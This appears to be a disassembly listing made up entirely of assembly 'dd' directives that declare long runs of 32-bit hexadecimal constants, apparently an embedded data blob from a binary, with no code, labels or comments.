		dd 9B131CC3h, 0D6403102h, 451D6915h, 63DF80D8h,	7E5A23D5h
		dd 3369D603h, 0D7357D01h, 0AB0B3B00h, 0B6AD289Ah, 961501B8h
		dd 523F8CE0h, 0D2033CDh, 7823FFB7h, 5823D6F1h, 18683F09h
		dd 0CE86180Fh, 70A31939h
		dd 38085CA4h, 8931803Dh, 0C5700AF9h, 13A1AD00h,	0F3B0C3CBh
		dd 615C8Fh, 0B2D378C0h,	0D4006A3Bh, 9C9B56F6h, 7BD230Ch
		dd 0F5D269B3h, 99AF40A3h, 0E09015EFh, 0A919C44h, 0B89B1EAAh
		dd 0D0070040h, 4AA7E81Bh, 0D991400Ch, 6038C13Eh, 0FA257164h
		dd 0CC03ECD6h, 23EEF207h, 92583B62h, 84A3DA83h,	33AF690Bh
		dd 481AE8A2h, 61F82EA4h, 0D0104D48h, 72014149h,	7B169B45h
		dd 103222B0h, 7877E00h,	9C5C4D2Bh, 0C4CCB300h, 0E74B6B66h
		dd 0A56013Dh, 1CFE4AF6h, 86A05122h, 59780152h, 97D56180h
		dd 1D660AC4h, 5D486DFAh, 53D21034h, 0D69C6292h,	9940DA10h
		dd 0E09A806Ch, 6C08EC4h, 81965138h, 13DDBAFDh, 7070B1EDh
		dd 15692453h, 11044A40h, 0E3BC5133h, 22F45043h,	26EC60h
		dd 7F6C97C7h, 381BEE9Ah, 99294360h, 0A6C8FEh, 0DCAEBA23h
		dd 0DB793EE2h, 98203469h, 2DE51FCh, 0BE740AADh,	0CA80679Ch
		dd 0E03C986Eh, 7E50EC98h, 0A20F3A44h, 211693BFh, 571568B0h
		dd 0C4800112h, 0AEFD729Bh, 1CB04070h, 3830987Ch, 646E4166h
		dd 7B517A72h, 3B5000B7h, 43F067F7h, 0DB00A2A4h,	617D805Fh
		dd 0BA6CE5A0h, 4F2B2B00h, 485280C8h, 7D14DF29h,	17EF0E00h
		dd 3B9A1D3Ch, 0F033F569h, 0C2A4CF24h, 0D3222656h, 0E19A213Dh
		dd 903CC805h, 4301BC98h, 0C2B09278h, 8C23655Ah,	0F49CB403h
		dd 3E803664h, 0FA3DCB37h, 0AC3D2C62h, 8063C539h, 80C6D81Fh
		dd 9821CB42h, 0BD014004h, 7A898D79h, 0A0C8DEE8h, 4E5705ECh
		dd 5E62A4h, 0C302E0ACh,	0CCA611CEh, 14294900h, 0B4B9D664h
		dd 54D7000Ah, 3FB29A37h, 3340FF79h, 44BA5C56h, 0AD01AB80h
		dd 0E82A4412h, 0CB22E0B0h, 1169145Bh, 0AD80D854h, 84F5D1BAh
		dd 0EBD4BB0Fh, 86302945h, 3051B31Ch, 60599323h,	0E800A08Fh
		dd 0FAD3A2DBh, 4397C5Fh, 8CD6FF7Dh, 52C8824Eh, 3F51AF20h
		dd 3B69F628h, 38D42E1Eh, 0C4C73AAEh, 0E70FAF03h, 0A1846AF1h
		dd 3A344284h, 0E21D4720h, 22A8904Bh, 18986CDDh,	47116CB9h
		dd 21F3C50h, 7ABDCBA9h,	618B15h, 65421740h, 138C6C7Eh
		dd 1411B003h, 400408E4h, 47683810h, 0AFE07907h,	7CF8C2h
		dd 0C402FA6Eh, 3560D97h, 0A3E914A8h, 15D3700h, 1CACA783h
		dd 0D2AE0E6Ch, 0E804F0EEh, 814E4936h, 97BE56F0h, 6193442Ch
		dd 2989B7A8h, 0CAD0570h, 94019992h, 9B4DE0DCh, 373F8441h
		dd 439BF01h, 0E000C4A2h, 3E6A108Dh, 0E33E11ADh,	89908D03h
		dd 28D33940h, 441CEC70h, 697C8037h, 5F708102h, 664DAF01h
		dd 0AE790054h, 59DE3603h, 6000C049h, 41A5C7C9h,	0E03F7BB7h
		dd 58BD011Ch, 0A3BBAF5Dh, 708C2D78h, 995BA601h,	2CAAC983h
		dd 0F8481C29h, 0B22748C3h, 0A8706DA0h, 11003076h, 1A714C3Ch
		dd 71771B56h, 0B1DC6B78h, 408FC004h, 1B4B0571h,	35D10063h
		dd 0E47633C0h, 6600D945h, 0BF4956Fh, 943F9923h,	8108B5C4h
		dd 80427868h, 57CC06A1h, 2D77E9h, 97550CAh, 8BDD7BF1h
		dd 34960E01h, 38696FCBh, 9988082Ch, 6EF92D80h, 5402C05Fh
		dd 6F388035h, 4E0D965h,	60940347h, 7E9E500h, 19C8E4AFh
		dd 0C9A30795h, 15282E46h, 1C8802BDh, 0A084415Dh, 0E90C8822h
		dd 3933F100h, 497CED44h, 0E3A2025Bh, 0B037D527h, 0DE5CF3E1h
		dd 424598ECh, 1111C43h,	48A48262h, 247AB007h, 23883EA8h
		dd 669C098h, 0DE73305Ah, 637EEB00h, 0C31C8875h,	50602443h
		dd 41E82448h, 0DC0E44F8h, 0AA0286DFh, 9B8880D8h, 0A19C49E8h
		dd 0E500C833h, 3F6069BDh, 910546A5h, 5CE6C5F3h,	7EE85009h
		dd 7E9F1C13h, 9B24113Eh, 3028138Ch, 0DE404530h,	0FF019CE0h
		dd 7CD0C307h, 78E083C6h, 0D84F488Eh, 18B55614h,	25DF9117h
		dd 9F448200h, 0E86C3F22h, 4B06A210h, 3EBC4022h,	211D2D27h
		dd 7115ED03h, 0B0DCA517h, 7B4460B2h, 11281CB6h,	0C04C7847h
		dd 25202BC0h, 333DB8C2h, 0EA8F820Fh, 83F3C49Ah,	6938DCh
		dd 79353129h, 2C56B2E5h, 0B342B700h, 3EE9DD95h,	237C189Ah
		dd 7FA98994h, 534DB700h, 0AD0CC6FDh, 7D190510h,	4AF7515h
		dd 0E2827490h, 8E250044h, 78B7DDEBh, 70A709CBh,	0C83462Fh
		dd 968B239Dh, 0BD59291Fh, 0AAFBDE40h, 48E534FFh, 8E22308Ah
		dd 95071700h, 0EC3E9287h, 9EB01DB4h, 8202417Dh,	0E5B52A76h
		dd 3498D5DAh, 317AD0D4h, 263F4605h, 0B8083E8Ch,	9EE8427Bh
		dd 6A65AB20h, 52900477h, 3A074CEh, 4F511F69h, 766C3020h
		dd 5E00EE90h, 43064204h, 58165D4Fh, 3968209Ah, 54DA08ECh
		dd 1942388Ch, 0AFE1013Ch, 0E837F741h, 682380h, 34C52D1h
		dd 0EA5EDC56h, 793B62B7h, 2CC10E69h, 16942360h,	8C141F0Ch
		dd 53D8D90Ch, 81413811h, 4DBDDD71h, 0F1EC102Ch,	0A79B2C28h
		dd 1010A574h, 0CE013C97h, 6BA23D66h, 0CC339847h, 9F9B6809h
		dd 0D86FA580h, 0E40ADF0Dh, 2065CC78h, 0AAC1049Fh, 40E7A56Ah
		dd 88879FFDh, 48D552A8h, 0E44BA4BCh, 69144C20h,	48685F13h
		dd 11B33AB0h, 0C9006637h, 88298D81h, 0EB30919Eh, 0D6EE98FCh
		dd 0CEBC0080h, 0F728A80Eh, 0E97DE89Fh, 0DB4A91FCh, 0B01BA420h
		dd 0E6F04844h, 0F00BDE19h, 7E2E1056h, 3BC00CEh,	334D1646h
		dd 4073B068h, 0AC583750h, 0E1771F01h, 235B84F9h, 31804038h
		dd 0A48FC0D5h, 0BF4E5E1Eh, 9355BD41h, 10DCE52Ah, 62170B34h
		dd 5090B703h, 200E4308h, 0A036784Bh, 0B0721076h, 628100E6h
		dd 0DE52402Dh, 0D6123A4Ch, 0F0C89B15h, 0DF3E019Fh, 0AED86D5Dh
		dd 307061A4h, 0D70175A8h, 850B8A3Bh, 0C634E9Bh,	40681C1Ch
		dd 0F757F9BAh, 0C81DB5D8h, 0A8C92108h, 9BFB8034h, 17B00639h
		dd 0E04A99h, 50414511h,	5860B798h, 2730F579h, 0C0AA2685h
		dd 0D08A146Dh, 0A863E500h, 0D2699A6Ch, 0C8A0782Eh, 889E6B08h
		dd 27BE5516h, 169496D9h, 0C3966DEh, 56B15EE4h, 5850C04Eh
		dd 20CD2784h, 0DEC50D00h, 0E07F5023h, 20665B0Eh, 0D76BA690h
		dd 0BE246102h, 6AACB6B8h, 2ED098E4h, 0CDCA48DBh, 6680A23Ch
		dd 0DE1918E0h, 0B9CE35A6h, 1C1191AAh, 60205A50h, 2F31E45h
		dd 3F8B0BA8h, 40DF404Bh, 1710AF9Dh, 5A22D6BEh, 68C13068h
		dd 92F42279h, 0FA2D3F00h, 16F972F8h, 886D2340h,	53387E38h
		dd 22F84C48h, 5FBF893h,	52112CEAh, 9B8420D4h, 23251CA1h
		dd 150CA247h, 386C2160h, 3A002891h, 12D3AF4Eh, 4CB0690Ch
		dd 3EEDE091h, 0A89B2E01h, 0AF47D3C4h, 25AA8099h, 0F90CCA0Ch
		dd 903F7308h, 10E0BADh,	4C647B27h, 0E5DCCCF3h, 0F8BC9509h
		dd 0BA3D8008h, 23DCF8Bh, 4417EEFEh, 60E41B99h, 0CD0050A6h
		dd 0D6F2D4Dh, 93C4BAh, 65D0313h, 2FC18FE1h, 7C408B13h
		dd 3C8A1C16h, 2D009622h, 4D2A6E2Ch, 0E0FCE847h,	0EC382CCAh
		dd 0D553969Ch, 0BEA43018h, 0A2D2B6Ch, 380C23CBh, 9C3140B9h
		dd 565744D5h, 0C89DB429h, 52C16238h, 324C64D7h,	0C3219023h
		dd 91F3BD80h, 0B800798Dh, 0DACE48D3h, 0B4B38AAAh, 8800A5ACh
		dd 0A871C610h, 9EC17D02h, 0E25CB042h, 1764E49Ch, 13EBF8B6h
		dd 6930C3E2h, 78A888A4h, 278458BCh, 4FC10896h, 9830D51Bh
		dd 8E468841h, 71289A00h, 2FDA7696h, 0E6523945h,	10043F2Fh
		dd 31340C9Dh, 5F7A47h, 0D8A4337Ah, 6C9F3B83h, 2838E724h
		dd 228C4794h, 20235A50h, 0FA6EA814h, 601E6811h,	6A38690Ch
		dd 4901E259h, 315F2B40h, 9EDC6345h, 238759Ah, 22F8609Fh
		dd 0D84164C2h, 6860C2ABh, 2813EFCFh, 14CC50FAh,	413F5F07h
		dd 0BE566944h, 9840439Eh
		dd 0C8003872h, 0A35F74Eh, 0ECA49D0h, 417175FCh,	43691205h
		dd 537F6850h, 9A8265B0h, 0CA810C91h, 71B57AA7h,	780EC38h
		dd 2F24C613h, 0C3BD0E1Ch, 7218D1C0h, 74604BA8h,	0F7FD16DCh
		dd 10108A79h, 0B7299ED8h, 0CF0F03DCh, 0C1E85B50h, 98090D12h
		dd 4D9EA0Ch, 23576370h,	7200D41Ch, 1042FF2Ah, 48C396Bh
		dd 1F080D0h, 3598F438h,	15FFF601h, 56785247h, 0F1CED050h
		dd 0B11801C3h, 85822DDCh, 2192F015h, 2CB45C38h,	0E71AA1D4h
		dd 144CCCA0h, 641568AFh, 0F3D0FB00h, 11B0DDBBh,	91193C61h
		dd 30AE3BD8h, 0C0866114h, 0F4E47845h, 0AA0038E2h, 0A211FE12h
		dd 0B5828C4h, 57913C5h,	0BF562C81h, 5ED6EC4Ch, 0D88205Ah
		dd 0B0004662h, 2BBD77C2h, 5DA62Ch, 0B99EFCD0h, 72EBE9FBh
		dd 0A0653F18h, 884917C8h, 0B1C74179h, 6DA066C0h, 56B40Ah
		dd 5DC51349h, 0E3B5AED7h, 37FE7B4Ch, 342F846h, 0F5A8E148h
		dd 9A5EAB10h, 0B88C354Ah, 0DF8D1223h, 320A1352h, 0CCE65870h
		dd 5F31F81Dh, 3C8BC0Eh,	9A907D52h, 812065D3h, 0E6791754h
		dd 0C9FFFC60h, 49EBB016h, 0AC220EAAh, 0C8D49126h, 0C1C39496h
		dd 0C0F5FA99h, 3E92CE4Ah, 0E28EEF56h, 99364D7h,	2C657560h
		dd 89B9AF09h, 0B70083B0h, 78B12939h, 0BABE00ECh, 0A7907CEEh
		dd 0CAD03500h, 8A99F61Ah, 0C6F8B57Bh, 0BF3D0802h, 0D19FCC38h
		dd 748D0EA0h, 37FBA780h, 0BA2C783Fh, 21E38439h,	6D7ED08Ch
		dd 0F2130E97h, 5E8005BEh, 0DA529A6Eh, 0F0A4449Eh, 0BD1FD960h
		dd 70C200F3h, 6324EA1h,	0EC9C2526h, 94FA014Bh, 39FD4D09h
		dd 53C22DCh, 0A5E28B59h, 1704B28h, 9C002064h, 0F7C9702Bh
		dd 0EC322E04h, 18C92ABh, 4043272Ah, 300262A8h, 628A591Ch
		dd 885CD1C4h, 14403806h, 2293CBEh, 28088887h, 1CA41B69h
		dd 410962D8h, 0C8158D74h, 0EC00490Ch, 38748BDBh, 40F7EB1h
		dd 7A79E6E4h, 80E0AC12h, 95850210h, 535F04CEh, 0A20C4D42h
		dd 29BB00F0h, 67C2AACDh, 1DDA0C49h, 616179ABh, 0B5BB8901h
		dd 9A6D0D4Ch, 47C2BC78h, 24A001A4h, 5AE1EC3h, 79970F02h
		dd 6AFD0BD4h, 0DA4CC018h, 72F2EB28h, 8AFF0194h,	709836CBh
		dd 50854106h, 7946C42h,	0E956595Ah, 3FF059E9h, 0C37C27C4h
		dd 55290163h, 5D58C11Ch, 63874868h, 0DA2BA03Fh,	8500E55Bh
		dd 78D01714h, 25D6D333h, 3C906A8Ch, 9E1FF847h, 0E0C1B8E5h
		dd 3E8ED8C1h, 7302F033h, 0A30E197Dh, 718C24C1h,	90282BFCh
		dd 36BECA6h, 2B4F278h, 48169D70h, 0BC30A46Ah, 0BCDFD7Dh
		dd 3335B787h, 16685C01h, 9C335Ch, 0DAE4A71Ch, 9C983F43h
		dd 0A1DC40BCh, 0A9E0CF5Fh, 0F602A6E8h, 0F41A556Ch, 18C0688Fh
		dd 0B0658860h, 10A7992Dh, 53AF44h, 0D4D2282Bh, 0B70D5621h
		dd 3C58DA02h, 60015940h, 70D387h, 8B203D5Ah, 47389B54h
		dd 0F812A27Ah, 5820D252h, 1CB0EA9Ah, 3CCF956h, 398F0726h
		dd 4003484Ah, 0F0D43F29h, 90492E0Dh, 91A10AADh,	4394C056h
		dd 3F87E140h, 9B0AAA60h, 5617014Eh, 3400C111h, 0D9D43EFAh
		dd 46241774h, 1F7C434Dh, 8082AA62h, 8603F046h, 45C6B4F6h
		dd 1F2FA77Fh, 0B72A2682h, 0F6B02051h, 7475A441h, 0BC25CB0Eh
		dd 0DF5860DBh, 0DC350F7h, 84C25607h, 3C942051h,	466A4484h
		dd 0A11B8B00h, 5D06699Dh, 484CE8B0h, 17D3BEEh, 1E1DBF50h
		dd 709A6CA3h, 0C18B3DA4h, 0E0D8E732h, 2EB70002h, 1C3616BEh
		dd 0F1E8E8B2h, 60511738h, 285560F8h, 0D8C753BDh, 0C6292700h
		dd 585C29Eh, 0C481E825h, 97CC0098h, 95097D1Fh, 0DD018FD5h
		dd 0A0732692h, 38F828FCh, 693A1748h, 0CA10136Fh, 2D260078h
		dd 9207EAFh, 465124ABh,	9E9DE0E8h, 2CB4BA56h, 0BF32E144h
		dd 0BDF1710h, 5B8B6FA8h, 8DABACB1h, 118ABAD8h, 0DCC80Ch
		dd 0A8AB7D25h, 42346C63h, 0FE3C7124h, 5887DE1Ch, 98FB1C9Eh
		dd 905C7Ch, 66C1FB47h, 3B1B910Ch, 100A5304h, 3A40221Ch
		dd 9539E046h, 4D5AD875h, 83A5D833h, 2FE9B0C9h, 0BB6C008Ah
		dd 6F159FBDh, 134A68B0h, 68C28h, 0C8792408h, 0E8017156h
		dd 0D9273B05h, 0BCB42387h, 443000F8h, 74A34BC6h, 0D602470Bh
		dd 50EABD3Dh, 824A6322h, 1D5C4881h, 0FC090725h,	0B897E9h
		dd 4B26B3DAh, 0E0919890h, 0DE2CD780h, 0FB4864h,	809674D8h
		dd 0E853D6A4h, 9B529E16h, 64A9FE0Fh, 30ADB556h,	0B068400Ah
		dd 575C1DA7h, 0E9C4218Ah, 9C6C208Bh, 2D9EB084h,	54817B9Bh
		dd 104D7821h, 0A8803E4h, 16E29572h, 0D0186BE8h,	0C1F3CA5h
		dd 7C007F86h, 13F071F4h, 1A5202EBh, 1169896Ch, 4E583054h
		dd 48EC9047h, 5C9F18C0h, 0DD9B0BD6h, 2411880Fh,	81029653h
		dd 0E65A1769h, 0C6BC0180h, 919AD3AEh, 2C222BE0h, 5AC85EB4h
		dd 0B996B873h, 1C5B7600h, 7F71159Ah, 0D0C8F97Dh, 9741708Eh
		dd 45703007h, 0AEC43051h, 0CF00B8EEh, 0B50F2F46h, 184D45F5h
		dd 48B0D1D7h, 9095AF99h, 1109A4h, 0D8BD6ECDh, 6B4DD6FFh
		dd 0C5069C0Fh, 9F4C4074h, 4B4147Eh, 6DE8A839h, 0C0FCA83Fh
		dd 0CED542Fh, 9D7500ECh, 0BFEA97B7h, 1F7DC259h,	2966CE00h
		dd 0E6A0346Eh, 9B090BE3h, 8CE0F3B8h, 244E6269h,	0A80A427h
		dd 327DF40h, 0A897F392h, 50989698h, 9501AA67h, 83DB6393h
		dd 0A843206Ah, 2342ECD9h, 0A0D21D69h, 9B860E12h, 0EB3ED833h
		dd 0CBBCEC0Bh, 0F96AC40h, 0DA93FFE7h, 11D6B0C0h, 4F60B74Eh
		dd 135CE31h, 7F0079Bh, 4748B908h, 70F59080h, 0E309AEEBh
		dd 1840AB98h, 1E57C640h, 897F5C1Ch, 0C090DF91h,	0C1886937h
		dd 53310077h, 0F5A59430h, 0A200D014h, 7E203867h, 1C479B87h
		dd 96691268h, 6F1C8845h, 888F2388h, 200022E3h, 9C86C30Eh
		dd 0D51F51h, 5578832h, 0D7085D45h, 0DB900F50h, 245117FFh
		dd 21F3D63Fh, 0DA1E5560h, 8B13F8E2h, 0B6D46CE0h, 78D0AB2Eh
		dd 0CA01E09Ch, 228BB43Eh, 70005069h, 0D9B6BEAh,	0CF0E9EF0h
		dd 635A76ADh, 0E589AEE6h, 70829895h, 444CC461h,	15E61C50h
		dd 0E85456EAh, 0E84DF10h, 171ABF23h, 6CD40037h,	3C12B6D8h
		dd 0A4583898h, 0D77413CCh, 17529400h, 9053F8DCh, 11C90F8h
		dd 0FFD069E1h, 0D44DC4A6h, 0D9C6A93Eh, 44E82861h, 10990140h
		dd 30B9FA80h, 1F83FE42h, 40DAFD36h, 814BCE15h, 4C9E37C1h
		dd 0C5E5258Fh, 0F0C08D32h, 2890FA5Ah, 0E05CAFDDh, 589C041Bh
		dd 0C20B9A67h, 40C69774h, 0FEAF5144h, 5F820938h, 0DC98F6F7h
		dd 76008DB8h, 0C5D9646Bh, 0FE6ADC62h, 534D1D4Ch, 0C3E3C513h
		dd 0B7548287h, 9940A051h, 0AC4478h, 9176503Fh, 1F895E41h
		dd 3923480Bh, 6DF884D0h, 0E81B6944h, 52F0A76Ch,	63B548h
		dd 0D787AE59h, 206268C9h, 0EE2ACE00h, 0A40AA3Ch, 70F905CFh
		dd 0C7FCDA09h, 0A9921674h, 0D6D63CA1h, 0BCBAAD21h, 70BDCD70h
		dd 20804EA1h, 87C9CD68h, 0FC6CFE00h, 0E3F64119h, 92280193h
		dd 790E826Fh, 361DF0F0h, 9EA45D50h, 0E8F9A888h,	6851826Ah
		dd 24701907h, 0FCCA0180h, 0A16705A6h, 913A60ACh, 1586BDECh
		dd 0AE423408h, 0D16940B4h, 67007656h, 3E48DE51h, 1293AF57h
		dd 0A25302F4h, 559DC0B8h, 12D6C7EAh, 2970AF4h, 9B21AF78h
		dd 83C35720h, 0E1920017h, 0FB459C0Ch, 3E16F4DAh, 7410E4D6h
		dd 2C084F98h, 3E8A449h,	232B3DE5h, 0C30049E6h, 0DEAB0A28h
		dd 1D103963h, 0FCCBDBCAh, 9B220F75h, 40B6E29Dh,	0F56B12D4h
		dd 1FF0FCD7h, 59DD27F4h, 3D590103h, 30104A6Fh, 58565774h
		dd 0B3F3A600h, 0A2EED4F0h
		dd 94ECB052h, 6C81402Ch, 0B902B5CAh, 52FB92F6h,	2D90C6D8h
		dd 0DC105E15h, 7416E9C5h, 0D4A4D0D2h, 10408860h, 8A0AE502h
		dd 0F9B36AC8h, 5D3C0040h, 287D0762h, 13871704h,	58C46EE2h
		dd 0E418CC09h, 43DA3028h, 0D38511E8h, 9C3370E1h, 0E040784Fh
		dd 7C3B868Ch, 3E910024h, 6AAA1448h, 1275FAB4h, 3A721506h
		dd 515CB8h, 99BEF503h, 4110E04Eh, 1AD0FB07h, 54E0145h
		dd 0F890F15Bh, 10E3EAA8h, 404A6AE5h, 150044E4h,	2137E5Ah
		dd 86B5AFh, 0D30FE045h,	11494FD0h, 1F005F78h, 504E56A8h
		dd 0F8EAFBBh, 0A68F9EDFh, 3E6DD2C0h, 0D776BD7Fh, 0A0224E25h
		dd 0FDA6CC08h, 0FAF4020Ah, 10EEE74Dh, 721D3B40h, 4AA44B17h
		dd 4797CE00h, 163B39DEh, 0C0DDDC91h, 600CAD54h,	6C235B07h
		dd 1A106B34h, 7E2951h, 5CFCBF2Bh, 0A05FA467h, 455AA300h
		dd 66BA6052h, 345D006Bh, 15640AD3h, 790E9A16h, 0FEDAAB4h
		dd 5823E635h, 7E2C0051h, 4340D983h, 5B005C70h, 1BF20771h
		dd 1F729D8h, 50C7387h, 0BB6B9D24h, 17F98059h, 277D314Ah
		dd 426F0FBEh, 0F5802BFDh, 0F20AD212h, 3DD79200h, 98B44FE7h
		dd 49D90684h, 795F2A4Bh, 92B260Eh, 0F4CE068Dh, 88C0030h
		dd 0CD9B1A88h, 8506CFB3h, 35D5480Bh, 0E09A1C79h, 67C143FCh
		dd 62A36042h, 0C75C911Dh, 1CDD59B0h, 3F973C9h, 0DB934483h
		dd 0A898671Eh, 9B0191B4h, 488C31EBh, 94106B0Ah,	6163BE5Ch
		dd 0C190D341h, 118C6EC5h, 0AC294776h, 0DF3AB500h, 5AA42F3h
		dd 9E1A3F55h, 3F51C00h,	0D2EA308Fh, 31547537h, 0EB5B86A0h
		dd 1577E9h, 0D1C0A85Ah,	2AB667CFh, 3888FD60h, 41E873h
		dd 81EAEE19h, 5DC35979h, 1E399700h, 7C783532h, 0BD9306DBh
		dd 111A95EAh, 3261048Dh, 108086B2h, 0C0CCA8E2h,	9D007118h
		dd 53548CA1h, 388043EEh, 0D6813282h, 17E21CE5h,	792990CEh
		dd 48456984h, 0D1AA420Eh, 88A2082Fh, 6A884803h,	0D35288E2h
		dd 6800E191h, 83587743h, 0D600BFEBh, 6E79460Bh,	5BDE985h
		dd 733FF9E0h, 5ADD8064h, 0A022F47h, 90A7B938h, 9B088053h
		dd 1E488EAAh, 401BC842h, 0DBFF23AFh, 3D070280h,	98964C70h
		dd 51C0C735h, 3BF25C5Eh, 2E807990h, 272BD0B0h, 0B2004841h
		dd 9450F323h, 0B551A2h,	0B4CFBE36h, 0EF02CA7Eh,	9354C2Ch
		dd 63566502h, 0FCB0A037h, 0E0BE584Bh, 397500C8h, 3CB61EC5h
		dd 655C7418h, 5B330022h, 1F42439Fh, 0BD7A060Dh,	48690CC3h
		dd 80AFF451h, 0B12AB48h, 0A759FEh, 1936E634h, 24F20422h
		dd 0E85FBD00h, 0C98AE766h, 56B00B1h, 58E55DBAh,	83007C13h
		dd 0A939DCF4h, 0C5B1C6Fh, 6EEC0FB2h, 91000E10h,	0D9DBC770h
		dd 0F72BEAh, 71457AE9h,	0AF88BFCh, 163A200h, 0D5D2650h
		dd 0C4EE12D8h, 0A99E007Ah, 0BA75AD24h, 2000F7E2h, 49A589ACh
		dd 0C4F0A0h, 13341DC6h,	5AB231D4h, 16FE6900h, 70553D8Ah
		dd 935D00B9h, 4EAFB777h, 0A8F04F3Bh, 80CF6E39h,	0AAFFB684h
		dd 0DA20E8h, 94AB0424h,	363FDC67h, 0C956D900h, 0D5D41550h
		dd 4469058Ch, 909666h, 0C3238994h, 0A2E64C16h, 5D6C7701h
		dd 27E6D4F4h, 6A6630h, 0B4DAFE57h, 9723C69Ch, 4C647700h
		dd 0DBEEFB60h, 0FC870E0Fh, 7C009256h, 79F225C8h, 0A2B9F800h
		dd 2C980DABh, 7868140Fh, 0A800A03Bh, 3D0916F3h,	0F93E37AFh
		dd 72EB00B4h, 2F211553h, 0F0CE03D7h, 7A74F617h,	4E6DFCE8h
		dd 6C886801h, 0AB799DEAh, 118BCF4h, 0FEC846AFh,	0E0E1F4F2h
		dd 0AA00E58Ch, 330C656Eh, 0DD69D0h, 95A4A737h, 0E89F7974h
		dd 0A3C1D918h, 75AB10h,	0D09AD301h, 3612B0D7h, 3EF07B48h
		dd 807448C6h, 4EA42793h, 9B75000Eh, 6480A219h, 8D002A08h
		dd 1E4FC70Fh, 96555Bh, 2C623169h, 5F2630D8h, 91F1AF60h
		dd 7B20FDF2h, 9FE78F4h,	300F9451h, 857F6C00h, 4100A56Bh
		dd 1D0A14E3h, 0FF88C27h, 0AAF4FD16h, 0E91A1EA0h, 0B900F2B5h
		dd 87C91B7h, 24555881h,	97405h,	0C3BC7183h, 0F00068F4h
		dd 18B8E4EAh, 12A3A6AEh, 43700Ah, 244017B5h, 15001C32h
		dd 9FDF96C2h, 0DBCDDEh,	0CAE431F7h, 9D62AEC8h, 541AB0C0h
		dd 2411D419h, 2843E334h, 4AA041Ch, 92EA26h, 12274EA5h
		dd 0AEC70050h, 2938B88Bh, 0CB00DA10h, 52B685A4h, 0C80633h
		dd 6B7801D7h, 0ECF8775Ch, 5499E560h, 0BFEEC28Fh, 0D112F2D8h
		dd 1C0078FEh, 2EE00F8Eh, 0C0630003h, 0DBEDFCC2h, 0A503804Ch
		dd 0FB81F9BCh, 4E969935h, 42E34E8h, 56B15590h, 0C1C0AB91h
		dd 1C14C9h, 8F92A5CFh, 6924EFB8h, 88EDF81Eh, 0ACF29780h
		dd 0D7074h, 58C177EAh, 67A8DEF1h, 17A7EF0Fh, 245B6EB6h
		dd 3DC06906h, 7A80FBE6h, 0F9ED489Ah, 922C8200h,	6A04620Dh
		dd 3AE10607h, 8430AB08h, 25C6F2h, 7DC39D09h, 0EB05DBFh
		dd 4D9C3500h, 9E026A24h, 2D5900D0h, 0D6319667h,	1600BB3Fh
		dd 38B640D2h, 13CABE1Ah, 891C5Ah, 6CC76D81h, 5B00820Dh
		dd 0BD735C04h, 1C05D409h, 0C0132F48h, 0FDDE7655h, 3C0010A6h
		dd 0A2CB6A5h, 5E4A32h, 8B4765C6h, 662975D0h, 0D7FBE300h
		dd 0FD4CC03Ah, 0EAB00CAh, 0F352AFB1h, 9803837Fh, 14BE7594h
		dd 166BF101h, 0EE8E71E4h, 0AF9601D9h, 2532DE24h, 9235FCBCh
		dd 80A03F3Ah, 48452991h, 0A4F1BEh, 24665BF6h, 3E1CC75h
		dd 7A0008F4h, 6C2E9610h, 0ED02C1h, 6B586F3Eh, 45AABD4Fh
		dd 9069FA07h, 4509142h,	9A8F033h, 9CC33E32h, 49554A00h
		dd 0DC001C78h, 6002AD0Eh, 2C750CCEh, 73E2C6h, 5109F14Ah
		dd 7101FCCDh, 258B36A0h, 9FECEFD2h, 45960041h, 7986436Fh
		dd 500CE91h, 9D07B77Dh,	2B28FAh, 0FB4BF699h, 2FDC887Bh
		dd 84016CEAh, 0AC2C24EAh, 0A8CFABB2h, 22A2B32h,	0AEBDA4AAh
		dd 7940402Eh, 1300BEB0h, 931179CEh, 148FFB3Dh, 87ABC15h
		dd 0BE178D00h, 6C911C87h, 0A60D7900h, 29A86DEh,	0AF774Bh
		dd 5DD2C0Ch, 0C219A55Fh, 2DD9FF01h, 0D664B245h,	3DAE60h
		dd 66A89CD3h, 90F74CF4h, 786A1600h, 0C60CA9BCh,	0A74A000Fh
		dd 8AE26BBBh, 3100CF18h, 0C574E0D7h, 40159Ah, 664CF77Ah
		dd 11455CFAh, 0A602D11Dh, 18C18700h, 0C25E9Bh, 0AA52F43Ch
		dd 31FBEC54h, 4CE88A5Bh, 0E6507907h, 436F070h, 94FC7D3Dh
		dd 24A32A00h, 0D5ED3FF2h, 0D6D4008Fh, 361B28CCh, 6A008923h
		dd 62DB0554h, 0EAC93CEBh, 1207849h, 0F26882F6h,	40697A32h
		dd 0D83E9B4h, 3089D07h,	0E1E163A0h, 908037CBh, 9167FAADh
		dd 0AA001F58h, 1E03341h, 140EAF83h, 0A8955289h,	0FA68D000h
		dd 8AFCAC6Ah, 787A1A74h, 95E02550h, 0CC8C4800h,	75CAAD0Bh
		dd 24FE0581h, 80824721h, 0B88094E8h, 5D1F6100h,	0F419A67Ch
		dd 3D2CFA3Fh, 0E6BE8AA5h, 0E96C1B80h, 0D683CF44h, 5B484312h
		dd 0BDAC6440h, 70174128h, 0AFA90095h, 351B2ABBh, 9779069Fh
		dd 0D24C100h, 0DC757B80h, 5B41245Ch, 0BAB001E4h, 0CD021C9Ch
		dd 0DF93FC39h, 0A7AC32Eh, 9AA37830h, 0C6402CCDh, 43B40A32h
		dd 81034080h, 0F7008059h, 0C74008F0h, 0C2063DCFh, 42AB864h
		dd 2B0DDB60h, 96CC180Ah, 100B710h, 0B7D0142Fh, 0B443000Eh
		dd 24222528h, 49000F86h, 4C26DED5h, 7291A3h, 1A7E5CC8h
		dd 640BD716h, 5DC90C0h,	0FA8736h, 0C45EEF75h, 0EA86027Dh
		dd 0E0183E26h, 9AAE1C00h, 1138ADh, 0BEF2AC69h, 1AE5A46Fh
		dd 0BCC53305h, 3A801D0Eh, 20F4A011h, 6F009D75h,	0D65AD96Ch
		dd 18C458B5h, 58844E5Eh
		dd 8104A039h, 4AE00788h, 878679C0h, 9FA30551h, 0C01E497Eh
		dd 9C4E5078h, 0EFE4C500h, 0CECD6CB2h, 3E14F0BAh, 5480D426h
		dd 1521404Ah, 891D4D68h, 0EB49B25Eh, 7F30A091h,	12B0E287h
		dd 4EA199h, 3625D78Ch, 0A7007703h, 7B3C2418h, 2B6181h
		dd 0A9B987C7h, 0E770EBD8h, 0F15ABB00h, 0DA845327h, 0F9830049h
		dd 0BC37C795h, 9F2432EAh, 833F149Dh, 4706C473h,	0DDA29830h
		dd 0EEBD050Eh, 0C004C86Eh, 0A976C658h, 608B1324h, 7D179C00h
		dd 98AF870h, 276E07D4h,	0C80B8800h, 9007705h, 0EC6CE59Ch
